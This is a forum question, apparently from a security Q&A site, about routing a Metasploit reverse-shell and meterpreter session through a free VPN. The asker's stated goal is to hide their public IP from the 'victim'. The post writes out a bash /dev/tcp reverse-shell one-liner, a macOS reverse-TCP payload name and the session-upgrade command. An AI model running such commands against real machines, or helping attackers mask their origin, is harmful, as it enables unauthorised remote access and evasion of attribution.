this is my first post here.

I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working. I downloaded openVPN config files from vpnbook.com and started my vpn by typing "openvpn --config (path to config file)". Then it gave me a few different ip addresses, one address which always stays the same (when I disconnect and reconnect) and is also shown when I go to whatsmyip.com, and another one that is always different.

Could someone explain what the difference is and how I would setup a meterpreter session trough that vpn (or another solution, the main goal is to not have my public ip visible on the victims machine).

Note: I don't think it really matters but to connect from the mac, I just open a terminal and type: "bash -i >& /dev/tcp/ip-address/port 0>&1 2>&" On my Linux machine I use this payload when setting up the handler: "osx/x64/shell_reverse_tcp" and once I get a session (it does work when I enter my public ip and set up port forwarding), I upgrade it to a meterpreter session using "sessions -u session-ID"


  • Are you sure that your VPN provider does 1:1 NAT and it's not having your external IP routed to a pool of addresses? In which case, ingress traffic over the internet won't work. – Herringbone Cat Mar 6 '17 at 21:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.